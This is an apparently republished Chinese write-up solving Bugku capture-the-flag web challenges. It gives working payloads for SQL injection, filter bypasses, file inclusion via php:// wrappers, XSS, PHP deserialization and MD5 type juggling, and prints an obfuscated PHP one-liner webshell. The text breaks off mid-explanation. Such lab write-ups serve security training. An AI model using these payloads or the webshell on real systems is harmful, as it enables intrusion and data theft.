Quantcast
Channel: CodeSection,代码区,网络安全 - CodeSec
Viewing all articles
Browse latest Browse all 12749

bugku-web-writeup

0
0

F12了解一下,flag就在源码里了。

flag KEY{Web-2-bugKssNNikls9100}

文件上传测试

直接上传报错,通过burp抓包,修改Content-Type为image/jpeg,成功上传获取flag.


bugku-web-writeup

Flag:42e97d465f962c53df9549377b513c7e

计算器

这里将maxlength限制为了1,直接前端修改为3,口算点击提交即可获得flag


bugku-web-writeup

flag{CTF-bugku-0032}

web基础$_GET

从代码来看就是通过get方式传入what参数,并且让what等于flag,即可获得flag

$what=$_GET['what']; echo $what; if($what=='flag') echo 'flag{****}';

flag{bugku_get_su8kej2en}

web基础$_POST

同上题一样,这题只是通过POST方式传入what参数,并且让what参数等于flag的时候,输出flag。

$what=$_POST['what']; echo $what; if($what=='flag') echo 'flag{****}';

flag{bugku_get_ssseint67se}

矛盾 $num=$_GET['num']; if(!is_numeric($num)) { echo $num; if($num==1) echo 'flag{**********}'; }

这里传入一个参数 num,is_numeric 会判断参数是否为数字, 如果不是数字就会进入下面的if循环,但是到了循环里面又要判断但是下面又需要判断num==1, 这里看似有矛盾, 实际上php是个若类型的语言,当传入num=1a的时候,对比是否为数字时,他是字符串,但是在做if比较时候由于是字符串 1a 会被转换为数字 1 。

flag{bugku-789-ps-ssdf}

Web3

这道题的考点其实是在于一个HTTP头部:If-Modified-Since

GET /web3/ HTTP/1.1 Host: 120.24.86.145:8002 User-Agent: Mozilla/5.0 (windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 If-Modified-Since: Sat, 15 Apr 2017 14:57:03 GMT Cache-Control: max-age=0

这是整个HTTP数据包,而在HTTP头部中有个If-Modified-Since字段,这个字段的作用在于在发送HTTP请求时,把浏览器端缓存页面的最后修改时间一起发到服务器去,服务器会把这个时间与服务器上实际文件的最后修改时间进行比较。

如果时间一致,那么返回HTTP状态码304(不返回文件内容),客户端接到之后,就直接把本地缓存文件显示到浏览器中。

如果时间不一致,就返回HTTP状态码200和新的文件内容,客户端接到之后,会丢弃旧文件,把新文件缓存起来,并显示到浏览器中。

所以这道题解题很简单,只需要将头部中这个字段去掉,然后会在放回包的最下面看到一个就有一串 html 注释, 是 unicode 编码,解码后即是flag了。

flag:KEY{J2sa42ahJK-HS11III}

SQL注入

这里尝试 ?id=1' 和 ?id=1'' 的回显结果都一样,右键点击网页源代码,发现网页编码为gb2312,这里就可能存在宽字节注入了。

首先宽字节产生的原因简单理解就是:宽字节对转义字符的影响发生在character_set_client=gbk的情况,也就是说,如果客户端发送的数据字符集是gbk,则可能会吃掉转义字符\,从而导致转义消毒失败。

因此尝试,宽字节payload?id=1%df’,页面报错,因此就是构造sql注入payload了。

?id=1%df%27%20union%20select%20*%20from%20sql5.key%23

flag:KEY{54f3320dc261f313ba712eb3f13a1f6d}

域名解析

这里题目提示:”听说把 flag.bugku.com 解析到120.24.86.145 就能拿到flag“

这里其实就是HTTP头部里面的host字段,所以将HTTP头部里面的host字段修改为flag.bugku.com即可获得flag。

GET / HTTP/1.1 Host: flag.bugku.com User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1

flag:KEY{DSAHDSJ82HDS2211}

SQL注入1

//过滤sql $array = array('table','union','and','or','load_file','create','delete','select','update','sleep','alter','drop','truncate','from','max','min','order','limit'); foreach ($array as $value) { if (substr_count($id, $value) > 0) { exit('包含敏感关键字!'.$value); } } //xss过滤 $id = strip_tags($id); $query = "SELECT * FROM temp WHERE id={$id} LIMIT 1";

这里题目给出了过滤代码,在sql注入的时候,似乎是吧所有的东西都过滤了,但是看到XSS过滤的时候,我们发现有个strip_tags(),简单介绍下这个是干嘛的。strip_tags() 函数剥去字符串中的HTML、XML 以及PHP 的标签。简单理解就是sel<>ect在经过strip_tags()过滤之后,去掉标签就是select了,因此我们可以通过这个特性绕开sql注入的过滤。

?id=1%20uni%3C%3Eon%20se%3C%3Elect%201%2Cdatabase%28%29%20%23 //数据库名 sql3 ?id=1 uni%3C%3Eon%20se%3C%3Elect%201%2CTA%3C%3EBLE_NAME%20FR%3C%3EOM%20info%3C%3Ermation_schema.TAB%3C%3ELES%20%23 //表名 key ?id=1%20Un%3C%3EIon%20Selec%3C%3Et%201%2Chash%20fr%3C%3Eom%20sql3.key%20where%20id%3D1%23 //值

flag:key{c3d3c17b4ca7f791f85e#$1cc72af274af4adef}

你必须让他停下

这题进来之后会一直刷新,原因在于前端这串js,直接通过burp抓包,然后无限重放,即可获得flag。

<script language="javascript"> function myrefresh(){ window.location.reload(); } setTimeout('myrefresh()',500); </script>

flag:flag{dummy_game_1s_s0_popular}

本地包含 <?php include "flag.php"; $a = @$_REQUEST['hello']; eval( "var_dump($a);"); show_source(__FILE__); ?>

这题从代码来看就是从hello参数传入数据,然后在eval把传入的数据执行。那其实payload很简单,直接通过file_get_content()方式读取文件就好了。

payload:?hello=file_get_contents('./flag.php') 即可看到flag源码了。

flag:flag{bug-ctf-gg-99}

变量1 <?php error_reporting(0); include "flag1.php"; highlight_file(__file__); if(isset($_GET['args'])){ $args = $_GET['args']; if(!preg_match("/^\w+$/",$args)){ die("args error!"); } eval("var_dump($$args);"); } ?>

这里代码的意思通过args参数传入数据,先判断变量是否被设置了,然后进入循环,在循环会经过正则表达式判断。这个正则表达的是的意思是: ^ 是表示正则表达式的开始, $ 表示正则表达式的结束, \w 表示任意大小写字母或数字或下划线, + 号表示1到多个 \w 。因此要求args传入的数据中不能带有字母数字下划线,这里可能就没办法命令执行了。但是题目提示flag在变量中,又看到了最后一行 eval("var_dump($$args);") ;这里其实可以传入GLOBALS,这样就相当于执行 eval("var_dump($GLOBALS)";) ;而 $GLOBALS 就是一个包含了全部变量的全局组合数组。变量的名字就是数组的键。

flag:flag{92853051ab894a64f7865cf3c2128b34}

web5 题目提示:JSPFUCK,右键源代码看 [![]]+[][[]] ,应该是jsfuck,直接复制黏贴丢到chrome控制台出来flag。

flag:ctf{whatfk}

头等舱

打开页面之后,发现什么都没有,右键源代码也没有,最后抓个包发现结果存在于HTTP响应包的头部 flag:flag{Bugku_k8_23s_istra}

web4

题目提示看看源码,那么就看看源码咯,在源码里发现了一个编码后的js,看编码应该是url编码。

<script> var p1 = '%66%75%6e%63%74%69%6f%6e%20%63%68%65%63%6b%53%75%62%6d%69%74%28%29%7b%76%61%72%20%61%3d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%42%79%49%64%28%22%70%61%73%73%77%6f%72%64%22%29%3b%69%66%28%22%75%6e%64%65%66%69%6e%65%64%22%21%3d%74%79%70%65%6f%66%20%61%29%7b%69%66%28%22%36%37%64%37%30%39%62%32%62'; var p2 = '%61%61%36%34%38%63%66%36%65%38%37%61%37%31%31%34%66%31%22%3d%3d%61%2e%76%61%6c%75%65%29%72%65%74%75%72%6e%21%30%3b%61%6c%65%72%74%28%22%45%72%72%6f%72%22%29%3b%61%2e%66%6f%63%75%73%28%29%3b%72%65%74%75%72%6e%21%31%7d%7d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%42%79%49%64%28%22%6c%65%76%65%6c%51%75%65%73%74%22%29%2e%6f%6e%73%75%62%6d%69%74%3d%63%68%65%63%6b%53%75%62%6d%69%74%3b'; eval(unescape(p1) + unescape('%35%34%61%61%32' + p2)); </script>

将编码解码之后

<script> var p1 = 'function checkSubmit(){var a=document.getElementById("password");if("undefined"!=typeof a){if("67d709b2b'; var p2 = 'aa648cf6e87a7114f1"==a.value)return!0;alert("Error");a.focus();return!1}}document.getElementById("levelQuest").onsubmit=checkSubmit;'; eval(unescape(p1) + unescape('54aa2' + p2)); </script>

这里具体逻辑应该将p1+54aa2+p2拼接起来,最后输入验证,即可获得flag。

所以提交67d709b2b54aa2aa648cf6e87a7114f1,就可以获得 flag:KEY{J22JK-HS11} 。

flag在index里

题目提示我flag在index里,看到这个url: http://120.24.86.145:8005/post/index.php?file=show.php 似乎存在文件包含,于是构造 http://120.24.86.145:8005/post/index.php?file=php://filter/read=convert.base64-encode/resource=index.php 解码之后的index.php文件中,存在 flag:flag{edulcni_elif_lacol_si_siht}

<html> <title>Bugku-ctf</title> <?php error_reporting(0); if(!$_GET[file]){echo '<a href="./index.php?file=show.php">click me? no</a>';} $file=$_GET['file']; if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){ echo "Oh no!"; exit(); } include($file); //flag:flag{edulcni_elif_lacol_si_siht} ?> </html> 输入密码查看flag

题目拼音提示我们baopo,猜测是需要爆破解决,这里直接通过burp抓获数据包,然后放到intruder模块内爆破即可,爆破结果13579。

flag:flag{bugku-baopo-hah}

点击一百万次

这里如果真点击一百万次,估计鼠标要炸了,右键查看js源码,发现一串js

<script> var clicks=0 $(function() { $("#cookie") .mousedown(function() { $(this).width('350px').height('350px'); }) .mouseup(function() { $(this).width('375px').height('375px'); clicks++; $("#clickcount").text(clicks); if(clicks >= 1000000){ var form = $('<form action="" method="post">' + '<input type="text" name="clicks" value="' + clicks + '" hidden/>' + '</form>'); $('body').append(form); form.submit(); } }); }); </script>

这串js的大概作用是判断post传入的clicks是否大于一百万,是的话就可以了获取flag了。因此直接,提交数据包

POST /test/ HTTP/1.1 Host: 120.24.86.145:9001 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Content-Length: 18 clicks=99999999999

获取flag: flag{Not_C00kI3Cl1ck3r}

备份是个好习惯

题目提示备份是个好习惯,怀疑有备份文件泄露,扫描备份文件,发现存在index.php.bak文件。

<?php /** * Created by PhpStorm. * User: Norse * Date: 2017/8/6 * Time: 20:22 */ include_once "flag.php"; ini_set("display_errors", 0); $str = strstr($_SERVER['REQUEST_URI'], '?'); $str = substr($str,1); $str = str_replace('key','',$str); parse_str($str); echo md5($key1); echo md5($key2); if(md5($key1) == md5($key2) && $key1 !== $key2){ echo $flag."取得flag"; } ?>

下载之后源码是这样的,代码逻辑其实是通过url读入参数,然后将参数进行分割,如果参数中存在key,就将其替换,最后要求 (md5($key1) == md5($key2) && $key1 !== $key2) 。

所以构造payload: http://120.24.86.145:8002/web16/?kkeyey1[]=1&kkeyey2[]=wqerqwe

flag: Bugku{OH_YOU_FIND_MY_MOMY}

成绩查询

这题看情况,似乎是注入先试试。先试试 id=1 正常输出,然后试试 id=1' 没有东西输出,再试试注释之后 id=1'# 又可以正常显示,所以这里应该有注入了。

id=1' order by 4# //猜测列数,4列。 id=-1' union select 1,database(),2,3 # //查询数据库名 skctf_flag id=-1' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database()# //表名 fl4g,sc id=-1' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x666c3467# //列名skctf_flag id=-1' union select 1,skctf_flag,2,3 from fl4g# //查询flag

flag: BUGKU{Sql_INJECT0N_4813drd8hz4}

秋名山老司机

这题看来是要写脚本了,第一次进来有数据,然后马上刷新之后,出现Give me value post about 。看来是要用脚本在两秒之内算出结果并且提交了。

import requests import re url='http://120.24.86.145:8002/qiumingshan/' s=requests.get(url) print s.text result = re.search(r'^<div>(.*)=\?;</div>$', s.text, re.M | re.S) print result.group(1) d = {"value":eval(result.group(1))} s = requests.post(url,d) print s.text

正常情况下,该脚本应该没问题了,但是实际上却没有出现flag,后来查询发现,这里其实是两个session,这里我们需要发送http请求的时候要打开Session支持,不然服务器不认为两次请求是同一个电脑发来的。

import requests import re url='http://120.24.86.145:8002/qiumingshan/' s=requests.Session() r = s.get(url) #print r.text math = re.search(r'^<div>(.*)=\?;</div>$', r.text, re.M | re.S).group(1) print eval(math) d = {"value": eval(math)} r = s.post(url, data=d) print r.status_code print r.text

运行完之后自然会出现flag: Bugku{YOU_DID_IT_BY_SECOND}

速度要快

这题首页没提示,但是右键源代码后发现一个html提示

题目提示告诉我们似乎需要post提交一些什么东西。抓了个包之后,在返回包中似乎发现了base64编码的flag字段

HTTP/1.1 200 OK Server: nginx Date: Sun, 29 Apr 2018 06:45:11 GMT Content-Type: text/html;charset=utf-8 Connection: close Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache flag: 6LeR55qE6L+Y5LiN6ZSZ77yM57uZ5L2gZmxhZ+WQpzogTVRZMU9UZzE= Content-Length: 89 </br>我感觉你得快点!!!<!-- OK ,now you have to post the margin what you find -->

感觉题目的意思是将flag字段内数据解码后,POST提交,所以写个脚本吧

import requests import base64 url='http://120.24.86.145:8002/web6/' s=requests.Session() result = s.get(url).headers['flag'] print result flag = base64.b64decode(base64.b64decode(result).split(':')[1]) print(flag) data = {'margin' : flag} r = s.post(url,data=data) print r.content

flag: KEY{111dd62fcd377076be18a}

cookies欺骗

点进来之后,发现url有点奇怪

http://120.24.86.145:8002/web11/index.php?line=&filename=a2V5cy50eHQ=

感觉filename是base64编码之后的,所以解码之后是keys.txt,然后我想看看index.php内容,编码之后访问

http://120.24.86.145:8002/web11/index.php?line=&filename=aW5kZXgucGhw

发现没东西,这里看到一个line参数,尝试加入line=1试试,发现有数据返回,这里尝试通过脚本遍历源代码。脚本如下

import requests import base64 filename = base64.b64encode("index.php","utf-8") print filename line = 0 while line < 1000 : url = "http://120.24.86.145:8002/web11/index.php?line="+str(line)+"&filename="+str(filename) r =requests.get(url) print r.text try: r.text.index(">?") except ValueError: line = line + 1 continue else: break

跑出来的源代码是:

<?php error_reporting(0); $file=base64_decode(isset($_GET['filename'])?$_GET['filename']:""); $line=isset($_GET['line'])?intval($_GET['line']):0; if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ="); $file_list = array( '0' =>'keys.txt', '1' =>'index.php', ); if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){ $file_list[2]='keys.php'; } if(in_array($file, $file_list)){ $fa = file($file); echo $fa[$line]; } ?>

这里的意思其实就是通想要看keys.php内容,必须通过cookie去绕过,然后才能看。

GET /web11/index.php?line&filename=a2V5cy5waHA= HTTP/1.1 Host: 120.24.86.145:8002 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Cookie: PHPSESSID=c439sal8aqdga0vvjl40b89gfnl4s3b9;margin=margin Connection: close Upgrade-Insecure-Requests: 1

flag: KEY{key_keys}

XSS

这题其实就是XSS,但是肯定没有这么简单,查看源代码,看到这串js。

<script> var s=""; document.getElementById('s').innerHTML = s; </script>

这里构造 ?id=<script>alert(_key_)</script> 发现<>被转义成 &lt; 和 &gt; 这里其实可以通过将 <> unicode编码绕过,’<’对应的unicode编码是\u003c,’>’对应的unicode编码是\u003e,所以最终的payload是:

http://103.238.227.13:10089/?id=\u003cimg src=x onerror=alert(_key_)\u003e

Flag: 17f094325e90085b30a5ddefce34acd8

never give up

这题页面啥都没,右键源代码发现,有个html注释的1p.html页面。

<!--1p.html--> never never never give up !!!

跟进来,直接打开会跳转,通过抓包,发现一串经过编码的字符串。

var Words ="%3Cscript%3Ewindow.location.href%3D%27http%3A//www.bugku.com%27%3B%3C/script%3E%20%0A%3C%21--JTIyJTNCaWYlMjglMjElMjRfR0VUJTVCJTI3aWQlMjclNUQlMjklMEElN0IlMEElMDloZWFkZXIlMjglMjdMb2NhdGlvbiUzQSUyMGhlbGxvLnBocCUzRmlkJTNEMSUyNyUyOSUzQiUwQSUwOWV4aXQlMjglMjklM0IlMEElN0QlMEElMjRpZCUzRCUyNF9HRVQlNUIlMjdpZCUyNyU1RCUzQiUwQSUyNGElM0QlMjRfR0VUJTVCJTI3YSUyNyU1RCUzQiUwQSUyNGIlM0QlMjRfR0VUJTVCJTI3YiUyNyU1RCUzQiUwQWlmJTI4c3RyaXBvcyUyOCUyNGElMkMlMjcuJTI3JTI5JTI5JTBBJTdCJTBBJTA5ZWNobyUyMCUyN25vJTIwbm8lMjBubyUyMG5vJTIwbm8lMjBubyUyMG5vJTI3JTNCJTBBJTA5cmV0dXJuJTIwJTNCJTBBJTdEJTBBJTI0ZGF0YSUyMCUzRCUyMEBmaWxlX2dldF9jb250ZW50cyUyOCUyNGElMkMlMjdyJTI3JTI5JTNCJTBBaWYlMjglMjRkYXRhJTNEJTNEJTIyYnVna3UlMjBpcyUyMGElMjBuaWNlJTIwcGxhdGVmb3JtJTIxJTIyJTIwYW5kJTIwJTI0aWQlM0QlM0QwJTIwYW5kJTIwc3RybGVuJTI4JTI0YiUyOSUzRTUlMjBhbmQlMjBlcmVnaSUyOCUyMjExMSUyMi5zdWJzdHIlMjglMjRiJTJDMCUyQzElMjklMkMlMjIxMTE0JTIyJTI5JTIwYW5kJTIwc3Vic3RyJTI4JTI0YiUyQzAlMkMxJTI5JTIxJTNENCUyOSUwQSU3QiUwQSUwOXJlcXVpcmUlMjglMjJmNGwyYTNnLnR4dCUyMiUyOSUzQiUwQSU3RCUwQWVsc2UlMEElN0IlMEElMDlwcmludCUyMCUyMm5ldmVyJTIwbmV2ZXIlMjBuZXZlciUyMGdpdmUlMjB1cCUyMCUyMSUyMSUyMSUyMiUzQiUwQSU3RCUwQSUwQSUwQSUzRiUzRQ%3D%3D--%3E" function OutWord() { var NewWords; NewWords = unescape(Words); document.write(NewWords); } OutWord();

先url解码一下

<script>window.location.href='http://www.bugku.com';</script> <!--JTIyJTNCaWYlMjglMjElMjRfR0VUJTVCJTI3aWQlMjclNUQlMjklMEElN0IlMEElMDloZWFkZXIlMjglMjdMb2NhdGlvbiUzQSUyMGhlbGxvLnBocCUzRmlkJTNEMSUyNyUyOSUzQiUwQSUwOWV4aXQlMjglMjklM0IlMEElN0QlMEElMjRpZCUzRCUyNF9HRVQlNUIlMjdpZCUyNyU1RCUzQiUwQSUyNGElM0QlMjRfR0VUJTVCJTI3YSUyNyU1RCUzQiUwQSUyNGIlM0QlMjRfR0VUJTVCJTI3YiUyNyU1RCUzQiUwQWlmJTI4c3RyaXBvcyUyOCUyNGElMkMlMjcuJTI3JTI5JTI5JTBBJTdCJTBBJTA5ZWNobyUyMCUyN25vJTIwbm8lMjBubyUyMG5vJTIwbm8lMjBubyUyMG5vJTI3JTNCJTBBJTA5cmV0dXJuJTIwJTNCJTBBJTdEJTBBJTI0ZGF0YSUyMCUzRCUyMEBmaWxlX2dldF9jb250ZW50cyUyOCUyNGElMkMlMjdyJTI3JTI5JTNCJTBBaWYlMjglMjRkYXRhJTNEJTNEJTIyYnVna3UlMjBpcyUyMGElMjBuaWNlJTIwcGxhdGVmb3JtJTIxJTIyJTIwYW5kJTIwJTI0aWQlM0QlM0QwJTIwYW5kJTIwc3RybGVuJTI4JTI0YiUyOSUzRTUlMjBhbmQlMjBlcmVnaSUyOCUyMjExMSUyMi5zdWJzdHIlMjglMjRiJTJDMCUyQzElMjklMkMlMjIxMTE0JTIyJTI5JTIwYW5kJTIwc3Vic3RyJTI4JTI0YiUyQzAlMkMxJTI5JTIxJTNENCUyOSUwQSU3QiUwQSUwOXJlcXVpcmUlMjglMjJmNGwyYTNnLnR4dCUyMiUyOSUzQiUwQSU3RCUwQWVsc2UlMEElN0IlMEElMDlwcmludCUyMCUyMm5ldmVyJTIwbmV2ZXIlMjBuZXZlciUyMGdpdmUlMjB1cCUyMCUyMSUyMSUyMSUyMiUzQiUwQSU3RCUwQSUwQSUwQSUzRiUzRQ==-->

然后下面这一长串似乎是base64编码,base64解码一下得到如下结果,如下结果似乎是url编码。

%22%3Bif%28%21%24_GET%5B%27id%27%5D%29%0A%7B%0A%09header%28%27Location%3A%20hello.php%3Fid%3D1%27%29%3B%0A%09exit%28%29%3B%0A%7D%0A%24id%3D%24_GET%5B%27id%27%5D%3B%0A%24a%3D%24_GET%5B%27a%27%5D%3B%0A%24b%3D%24_GET%5B%27b%27%5D%3B%0Aif%28stripos%28%24a%2C%27.%27%29%29%0A%7B%0A%09echo%20%27no%20no%20no%20no%20no%20no%20no%27%3B%0A%09return%20%3B%0A%7D%0A%24data%20%3D%20@file_get_contents%28%24a%2C%27r%27%29%3B%0Aif%28%24data%3D%3D%22bugku%20is%20a%20nice%20plateform%21%22%20and%20%24id%3D%3D0%20and%20strlen%28%24b%29%3E5%20and%20eregi%28%22111%22.substr%28%24b%2C0%2C1%29%2C%221114%22%29%20and%20substr%28%24b%2C0%2C1%29%21%3D4%29%0A%7B%0A%09require%28%22f4l2a3g.txt%22%29%3B%0A%7D%0Aelse%0A%7B%0A%09print%20%22never%20never%20never%20give%20up%20%21%21%21%22%3B%0A%7D%0A%0A%0A%3F%3E

然后再解码一下得到

";if(!$_GET['id']) { header('Location: hello.php?id=1'); exit(); } $id=$_GET['id']; $a=$_GET['a']; $b=$_GET['b']; if(stripos($a,'.')) { echo 'no no no no no no no'; return ; } $data = @file_get_contents($a,'r'); if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4) { require("f4l2a3g.txt"); } else { print "never never never give up !!!"; } ?>

然后这个看起来,逻辑好像有点稍微复杂,但是,其实可以看出flag文件应该就是f4l2a3g.txt,访问这个文件即可获得flag。

flag: flag{tHis_iS_THe_fLaG}

welcome to bugkuctf

这题点进来,又是啥都没,然后右键点击源代码查看内容,发现了html注释的一些东西。

<!-- $user = $_GET["txt"]; $file = $_GET["file"]; $pass = $_GET["password"]; if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){ echo "hello admin!<br>"; include($file); //hint.php }else{ echo "you are not admin ! "; } -->

简单分析下核心if代码 isset($user) 这里isset的意思是查看变量是否存在,即user不能为空。file_get_content()功能是把整个文件读入字符串中,所以这里的 $user 显然是个文件,且这个文件读出的内容要等于welcome to the bugkuctf,才能进入下一个内容,这里显然可能需要用来PHP的伪协议 php://input 。

POST /test1/?txt=php://input HTTP/1.1 Host: 120.24.86.145:8006 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Content-Length: 23 welcome to the bugkuctf

这个就可以绕过第一层要求了,然后我们看到了这个有个 include($file); ,且file协议可控,这里可能有需要通过php的流协议来读取hit.php文件内容了,构造payload: ?file=php://filter/read=convert.base64-encode/resource=hit.php 。

POST /test1/?txt=php://input&file=php://filter/read=convert.base64-encode/resource=hint.php HTTP/1.1 Host: 120.24.86.145:8006 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Content-Length: 23 welcome to the bugkuctf

读出hit.php的内容,经过解码之后是,这里有个似乎可以反序列的类 __tostring

<?php class Flag{//flag.php public $file; public function __tostring(){ if(isset($this->file)){ echo file_get_contents($this->file); echo "<br>"; return ("good"); } } } ?>

再看看通过伪协议读取下首页源码的内容

<?php $txt = $_GET["txt"]; $file = $_GET["file"]; $password = $_GET["password"]; if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf")){ echo "hello friend!<br>"; if(preg_match("/flag/",$file)){ echo "è°¨°± flag"; exit(); }else{ include($file); $password = unserialize($password); echo $password; } }else{ echo "you are not the number of bugku ! "; } ?> <!-- $user = $_GET["txt"]; $file = $_GET["file"]; $pass = $_GET["password"]; if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){ echo "hello admin!<br>"; include($file); //hint.php }else{ echo "you are not admin ! "; } -->

这里核心代码就出来了

if(preg_match("/flag/",$file)){ echo "è°¨°± flag"; exit(); }else{ include($file); $password = unserialize($password); echo $password; }

这里通过正则表达式匹配,如果我们直接尝试通过伪协议读取flag.php内容,会报错。如果成功绕过上面的if之后,进入到else中就看到了反序列化 $password 变量。

详细分析下hit.php,我们发现当Flag方法当做字符串执行时,会自动执行 __tostring 方法,方法中写了如果file文件存在,那么就输出file文件中的内容。

因此构造poc

<?php class Flag{//flag.php public $file; public function __tostring(){ if(isset($this->file)){ echo file_get_contents($this->file); echo "<br>"; return ("good"); } } } $a = new Flag(); $a->file = 'flag.php'; var_dump(serialize($a)); ?>

得到: O:4:"Flag":1:{s:4:"file";s:8:"flag.php";} 最后POC如下所示:

POST /test1/?txt=php://input&file=hint.php&password=O:4:%22Flag%22:1:{s:4:%22file%22;s:8:%22flag.php%22;} HTTP/1.1 Host: 120.24.86.145:8006 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Content-Length: 23 welcome to the bugkuctf

flag: flag{php_is_the_best_language}

过狗一句话

题目提示送给大家一个过狗一句话,因此猜测首页已经是个后门,现在可以直接利用。

<?php $poc="a#s#s#e#r#t"; $poc_1=explode("#",$poc); $poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5]; $poc_2($_GET['s']) ?>

这里直接通过 http://120.24.86.145:8010/?s=var_dump(scandir('./')) 来列出文件目录,然后找到了flag.txt,直接HTTP访问,发现无法访问,没办法,只能再通过file_get_contents读取了。

flag: BUGKU{bugku_web_009801_a}

字符?正则?

这题源代码是这样:

<?php highlight_file('2.php'); $key='KEY{********************************}'; $IM= preg_match("/key.*key.{4,7}key:\/.\/(.*key)[a-z][[:punct:]]/i", trim($_GET["id"]), $match); if( $IM ){ die('key is: '.$key); } ?>

简单来看,应该是要绕过这个正则表达式

表达式直接写出来的字符串直接利用,如key “.”代表任意字符 “*”代表一个或一序列字符重复出现的次数,即前一个字符重复任意次,这里可以是0次,还有就是以’^’开头,以’$’结束 “\/”代表“/”,一种转义,因为单独的//代表着正则的开始与结束 [a-z]代表a-z中的任意一个字符 [[:punct:]]代表任意一个字符,包括各种符号,记得是符号 /i代表大小写不敏感 {4-7}代表[0-9]中数字连续出现的次数是4-7次 \s匹配任意的空白符 \d 匹配数字 \b 匹配单词的开始或结束

所以啊,一步步构造poc,最后payload: ?id=keyakeyxxxxkey:/a/akeya@

flag: KEY{0x0SIOPh550afc}

前女友(SKCTF)

页面打开啥都没发现,然后右键源代码,发现有个超链接至code.txt,页面上不注意看还看不出来呢。点进来之后发现原来是源代码泄露。

<?php if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){ $v1 = $_GET['v1']; $v2 = $_GET['v2']; $v3 = $_GET['v3']; if($v1 != $v2 && md5($v1) == md5($v2)){ if(!strcmp($v3, $flag)){ echo $flag; } } } ?>

这里关键代码在if里,第一个要求v1不等于v2,且v1的md5等于v2的md5,这里其实涉及到PHP的md5弱类型比较。

php中有两种比较的符号 == 与 ===,=== 在进行比较的时候,会先判断两种字符串的类型是否相等,再比较。

== 在进行比较的时候,会先将字符串类型转化成相同,再比较。这里举个例子,为什么下面的结果是true。

var_dump("0e123456"=="0e4456789"); //true

“0e123456”==”0e456789”相互比较的时候,会将0e这类字符串识别为科学技术法的数字,0的无论多少次方都是零,所以相等。

介绍一批md5开头是0e的字符串 上文提到过,0e在比较的时候会将其视作为科学计数法,所以无论0e后面是什么,0的多少次方还是0。md5(‘240610708’) == md5(‘QNKCDZO’)成功绕过!

QNKCDZO 0e830400451993494058024219903391 s878926199a 0e545993274517709034328855841020 s155964671a 0e342768416822451524974117254469 s214587387a 0e848240448830537924465865611904 s214587387a 0e848240448830537924465865611904 s878926199a 0e545993274517709034328855841020 s1091221200a 0e940624217856561557816327384675 s1885207154a 0e509367213418206700842008763514

第二个考点就是绕过strcmp()函数的比较,据我们所知,strcmp函数存在漏洞。

注:这一个漏洞适用与5.3之前版本的php

我们首先看一下这个函数,这个函数是用于比较字符串的函数

int strcmp ( string $str1 , string $str2 )

参数 str1第一个字符串。str2第二个字符串。如果 str1 小于 str2 返回 < 0; 如果 str1 大于 str2 返回 > 0;如果两者相等,返回 0。

可知,传入的期望类型是字符串类型的数据,但是如果我们传入非字符串类型的数据的时候,这个函数将会有怎么样的行为呢?实际上,当这个函数接受到了不符合的类型,这个函数将发生错误,但是在5.3之前的php中,显示了报错的警告信息后,将return 0 !!!! 也就是虽然报了错,但却判定其相等了。

